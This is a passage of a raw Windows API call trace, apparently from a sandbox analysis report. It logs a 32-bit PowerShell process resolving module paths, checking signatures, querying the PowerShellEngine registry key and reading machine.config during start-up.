lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0187.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8cfa0) returned 1 [0187.680] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5a8d264 | out: lpFileInformation=0x5a8d264*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0187.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8cf9c) returned 1 [0187.680] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0187.680] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0187.680] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0187.680] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0187.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8cf34) returned 1 [0187.680] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5a8d1f8 | out: lpFileInformation=0x5a8d1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0187.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8cf30) returned 1 [0187.681] CoTaskMemAlloc (cb=0x10) returned 0x5b23408 [0187.681] CoTaskMemAlloc (cb=0x10) returned 0x5b233d8 [0187.681] CoTaskMemAlloc (cb=0xe4) returned 0x577108 [0187.681] CoTaskMemAlloc (cb=0x30) returned 0x5882d0 [0187.681] WinVerifyTrust () returned 0x800b0100 [0187.700] CoTaskMemFree (pv=0x5b23408) [0187.700] CoTaskMemFree (pv=0x5882d0) [0187.700] CryptCATHandleFromStore () returned 0x54b240 [0187.700] WTHelperGetProvSignerFromChain () returned 0x0 [0187.700] CoTaskMemAlloc (cb=0x10) returned 0x5b23408 [0187.700] CoTaskMemAlloc (cb=0x30) returned 0x5882d0 [0187.701] WinVerifyTrust () returned 0x0 [0187.701] CoTaskMemFree (pv=0x5882d0) [0187.701] CoTaskMemFree (pv=0x5b23408) [0187.701] CoTaskMemFree (pv=0x577108) [0187.701] CoTaskMemFree (pv=0x5b233d8) [0187.799] CoCreateGuid (in: pguid=0x5a8d190 | out: pguid=0x5a8d190*(Data1=0x7318a34, Data2=0xed7a, Data3=0x4e89, Data4=([0]=0xa7, [1]=0x88, [2]=0xdf, [3]=0x77, [4]=0x47, [5]=0x67, [6]=0xf7, [7]=0xf5))) returned 0x0 [0187.800] CoCreateGuid (in: pguid=0x5a8d190 | out: pguid=0x5a8d190*(Data1=0xb2203def, Data2=0x5822, Data3=0x4f48, Data4=([0]=0x92, [1]=0xa4, [2]=0xbc, [3]=0xa4, [4]=0x50, [5]=0xb5, [6]=0x55, [7]=0x5f))) returned 0x0 [0187.800] CoCreateGuid (in: pguid=0x5a8d190 | out: pguid=0x5a8d190*(Data1=0xa1b8bf45, Data2=0x2022, Data3=0x44ae, Data4=([0]=0xaf, [1]=0x83, [2]=0xc4, [3]=0x84, [4]=0xcd, [5]=0x88, [6]=0x4, [7]=0xfe))) returned 0x0 [0187.800] CoCreateGuid (in: pguid=0x5a8d190 | out: pguid=0x5a8d190*(Data1=0xd9be3b61, Data2=0x1df, Data3=0x474c, Data4=([0]=0xbc, [1]=0x72, [2]=0xfd, [3]=0x1, [4]=0xc0, [5]=0x36, [6]=0xe6, [7]=0x46))) returned 0x0 [0187.803] CoCreateGuid (in: pguid=0x5a8d190 | out: pguid=0x5a8d190*(Data1=0xa9bc9fa1, Data2=0xef7b, Data3=0x4f3a, Data4=([0]=0x8f, [1]=0x91, [2]=0xc9, [3]=0x67, [4]=0x71, [5]=0x34, [6]=0x63, [7]=0xb5))) returned 0x0 [0187.803] CoCreateGuid (in: pguid=0x5a8d190 | out: pguid=0x5a8d190*(Data1=0x1f2f7dfe, Data2=0xaf99, Data3=0x4cb9, Data4=([0]=0x89, [1]=0x9, [2]=0x2c, [3]=0x74, [4]=0x4b, [5]=0x56, [6]=0x7d, [7]=0x72))) returned 0x0 [0188.159] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8e4e8 | out: phkResult=0x5a8e4e8*=0x42c) returned 0x0 [0188.159] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e508, lpData=0x0, lpcbData=0x5a8e504*=0x0 | out: lpType=0x5a8e508*=0x1, lpData=0x0, lpcbData=0x5a8e504*=0x56) returned 0x0 [0188.159] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e508, lpData=0x2751170, lpcbData=0x5a8e504*=0x56 | out: lpType=0x5a8e508*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a8e504*=0x56) returned 0x0 [0188.160] RegCloseKey (hKey=0x42c) returned 0x0 [0188.160] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8e4e8 | out: phkResult=0x5a8e4e8*=0x42c) returned 0x0 [0188.160] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e508, lpData=0x0, lpcbData=0x5a8e504*=0x0 | out: lpType=0x5a8e508*=0x1, lpData=0x0, lpcbData=0x5a8e504*=0x56) returned 0x0 [0188.160] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e508, lpData=0x2751484, lpcbData=0x5a8e504*=0x56 | out: lpType=0x5a8e508*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a8e504*=0x56) returned 0x0 [0188.160] RegCloseKey (hKey=0x42c) returned 0x0 [0188.161] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8e4e8 | out: phkResult=0x5a8e4e8*=0x42c) returned 0x0 [0188.161] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e508, lpData=0x0, lpcbData=0x5a8e504*=0x0 | out: lpType=0x5a8e508*=0x1, lpData=0x0, lpcbData=0x5a8e504*=0x56) returned 0x0 [0188.161] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e508, lpData=0x2751780, lpcbData=0x5a8e504*=0x56 | out: lpType=0x5a8e508*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a8e504*=0x56) returned 0x0 [0188.161] RegCloseKey (hKey=0x42c) returned 0x0 [0188.161] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8e4e8 | out: phkResult=0x5a8e4e8*=0x42c) returned 0x0 [0188.162] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e508, lpData=0x0, lpcbData=0x5a8e504*=0x0 | out: lpType=0x5a8e508*=0x1, lpData=0x0, lpcbData=0x5a8e504*=0x56) returned 0x0 [0188.162] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e508, lpData=0x2751a88, lpcbData=0x5a8e504*=0x56 | out: lpType=0x5a8e508*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a8e504*=0x56) returned 0x0 [0188.162] RegCloseKey (hKey=0x42c) returned 0x0 [0188.162] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8e4e8 | out: phkResult=0x5a8e4e8*=0x42c) returned 0x0 [0188.162] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e508, lpData=0x0, lpcbData=0x5a8e504*=0x0 | out: lpType=0x5a8e508*=0x1, lpData=0x0, lpcbData=0x5a8e504*=0x56) returned 0x0 [0188.162] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e508, lpData=0x2751d9c, lpcbData=0x5a8e504*=0x56 | out: lpType=0x5a8e508*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a8e504*=0x56) returned 0x0 [0188.163] RegCloseKey (hKey=0x42c) returned 0x0 [0188.163] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8e4e8 | out: phkResult=0x5a8e4e8*=0x42c) returned 0x0 [0188.163] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e508, lpData=0x0, lpcbData=0x5a8e504*=0x0 | out: lpType=0x5a8e508*=0x1, lpData=0x0, lpcbData=0x5a8e504*=0x56) returned 0x0 [0188.163] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e508, lpData=0x27520b0, lpcbData=0x5a8e504*=0x56 | out: lpType=0x5a8e508*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a8e504*=0x56) returned 0x0 [0188.163] RegCloseKey (hKey=0x42c) returned 0x0 [0188.164] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8e4e8 | out: phkResult=0x5a8e4e8*=0x42c) returned 0x0 [0188.164] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e508, lpData=0x0, lpcbData=0x5a8e504*=0x0 | out: lpType=0x5a8e508*=0x1, lpData=0x0, lpcbData=0x5a8e504*=0x56) returned 0x0 [0188.164] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e508, lpData=0x27523ac, lpcbData=0x5a8e504*=0x56 | out: lpType=0x5a8e508*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a8e504*=0x56) returned 0x0 [0188.164] RegCloseKey (hKey=0x42c) returned 0x0 [0188.165] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8e534 | out: phkResult=0x5a8e534*=0x42c) returned 0x0 [0188.165] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e554, lpData=0x0, lpcbData=0x5a8e550*=0x0 | out: lpType=0x5a8e554*=0x1, lpData=0x0, lpcbData=0x5a8e550*=0x56) returned 0x0 [0188.165] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e554, lpData=0x2752700, lpcbData=0x5a8e550*=0x56 | out: lpType=0x5a8e554*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a8e550*=0x56) returned 0x0 [0188.166] RegCloseKey (hKey=0x42c) returned 0x0 [0188.166] CoTaskMemAlloc (cb=0x20c) returned 0x5b34a30 [0188.166] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x5b34a30 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0188.166] CoTaskMemFree (pv=0x5b34a30) [0188.166] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0188.167] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0188.613] EtwEventActivityIdControl () returned 0x0 [0188.614] SetEvent (hEvent=0x418) returned 1 [0188.614] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5a8e890*=0x418, lpdwindex=0x5a8e6b4 | out: lpdwindex=0x5a8e6b4) returned 0x0 [0188.616] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a8e7cc, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0188.619] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0188.619] GetFileType (hFile=0xb) returned 0x2 [0188.705] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x5a8e9c8 | out: lpMode=0x5a8e9c8) returned 1 [0188.706] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e988 | out: lpConsoleScreenBufferInfo=0x5a8e988) returned 1 [0188.706] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e988 | out: lpConsoleScreenBufferInfo=0x5a8e988) returned 1 [0188.749] EtwEventActivityIdControl () returned 0x0 [0188.749] EtwEventActivityIdControl () returned 0x0 [0188.749] EtwEventActivityIdControl () returned 0x0 [0189.020] EtwEventActivityIdControl () returned 0x0 [0189.748] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x5a8e5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0189.759] CoTaskMemAlloc (cb=0x20c) returned 0x5b2c0a8 [0189.760] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5b2c0a8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0189.760] CoTaskMemFree (pv=0x5b2c0a8) [0189.760] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0189.760] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0189.771] GetCurrentProcess () returned 0xffffffff [0189.772] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5a8e90c | out: TokenHandle=0x5a8e90c*=0x428) returned 1 [0189.780] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0189.780] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x2f, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0189.781] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x5a8e904 | out: lpFileInformation=0x5a8e904*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0189.782] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0189.782] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x44, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0189.783] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x5a8e90c | out: lpFileInformation=0x5a8e90c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0189.783] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0189.783] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x44, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0189.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e844) returned 1 [0189.784] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x424 [0189.784] GetFileType (hFile=0x424) returned 0x1 [0189.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e840) returned 1 [0189.784] GetFileType (hFile=0x424) returned 0x1 [0189.902] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0189.902] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x44, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0189.902] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0189.903] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x44, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0189.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8de24) returned 1 [0189.903] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x5a8e0e8 | out: lpFileInformation=0x5a8e0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0189.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8de20) returned 1 [0190.591] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x5a8dfb4 | out: pfEnabled=0x5a8dfb4) returned 0x0 [0190.668] GetFileSize (in: hFile=0x424, lpFileSizeHigh=0x5a8e900 | out: lpFileSizeHigh=0x5a8e900*=0x0) returned 0x8c8e [0190.669] ReadFile (in: hFile=0x424, lpBuffer=0x25e3718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e8bc, lpOverlapped=0x0 | out: lpBuffer=0x25e3718*, lpNumberOfBytesRead=0x5a8e8bc*=0x1000, lpOverlapped=0x0) returned 1 [0190.752] ReadFile (in: hFile=0x424, lpBuffer=0x25e3718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e76c, lpOverlapped=0x0 | out: lpBuffer=0x25e3718*, lpNumberOfBytesRead=0x5a8e76c*=0x1000, lpOverlapped=0x0) returned 1 [0190.754] ReadFile (in: hFile=0x424, lpBuffer=0x25e3718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e620, lpOverlapped=0x0 | out: lpBuffer=0x25e3718*, lpNumberOfBytesRead=0x5a8e620*=0x1000, lpOverlapped=0x0) returned 1 [0190.755] ReadFile (in: hFile=0x424, lpBuffer=0x25e3718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e620, lpOverlapped=0x0 | out: lpBuffer=0x25e3718*, lpNumberOfBytesRead=0x5a8e620*=0x1000, lpOverlapped=0x0) returned 1 [0190.756] ReadFile (in: hFile=0x424, lpBuffer=0x25e3718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e620, lpOverlapped=0x0 | out: lpBuffer=0x25e3718*, lpNumberOfBytesRead=0x5a8e620*=0x1000, lpOverlapped=0x0) returned 1 [0190.756] ReadFile (in: hFile=0x424, lpBuffer=0x25e3718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e558, lpOverlapped=0x0 | out: lpBuffer=0x25e3718*, lpNumberOfBytesRead=0x5a8e558*=0x1000, lpOverlapped=0x0) returned 1 [0190.769] ReadFile (in: hFile=0x424, lpBuffer=0x25e3718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e6c4, lpOverlapped=0x0 | out: lpBuffer=0x25e3718*, lpNumberOfBytesRead=0x5a8e6c4*=0x1000, lpOverlapped=0x0) returned 1 [0190.777] ReadFile (in: hFile=0x424, lpBuffer=0x25e3718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e5b8, lpOverlapped=0x0 | out: lpBuffer=0x25e3718*, lpNumberOfBytesRead=0x5a8e5b8*=0x1000, lpOverlapped=0x0) returned 1 [0190.777] ReadFile (in: hFile=0x424, lpBuffer=0x25e3718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e5b8, lpOverlapped=0x0 | out: lpBuffer=0x25e3718*, lpNumberOfBytesRead=0x5a8e5b8*=0xc8e, lpOverlapped=0x0) returned 1 [0190.777] ReadFile (in: hFile=0x424, lpBuffer=0x25e3718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e67c, lpOverlapped=0x0 | out: lpBuffer=0x25e3718*, lpNumberOfBytesRead=0x5a8e67c*=0x0, lpOverlapped=0x0) returned 1 [0190.778] CloseHandle (hObject=0x424) returned 1 [0190.778] CloseHandle (hObject=0x428) returned 1 [0190.779] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x5a8e5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0190.779] CoTaskMemAlloc (cb=0x20c) returned 0x5b2c458 [0190.779] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5b2c458, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0190.779] CoTaskMemFree (pv=0x5b2c458) [0190.779] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0190.779] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0190.780] GetCurrentProcess () returned 0xffffffff [0190.780] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5a8ea58 | out: TokenHandle=0x5a8ea58*=0x428) returned 1 [0190.781] CloseHandle (hObject=0x428) returned 1 [0190.781] GetCurrentProcess () returned 0xffffffff [0190.781] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5a8ea58 | out: TokenHandle=0x5a8ea58*=0x428) returned 1 [0190.782] CloseHandle (hObject=0x428) returned 1 [0190.784] GetCurrentProcess () returned 0xffffffff [0190.784] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5a8e90c | out: TokenHandle=0x5a8e90c*=0x428) returned 1 [0190.785] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: 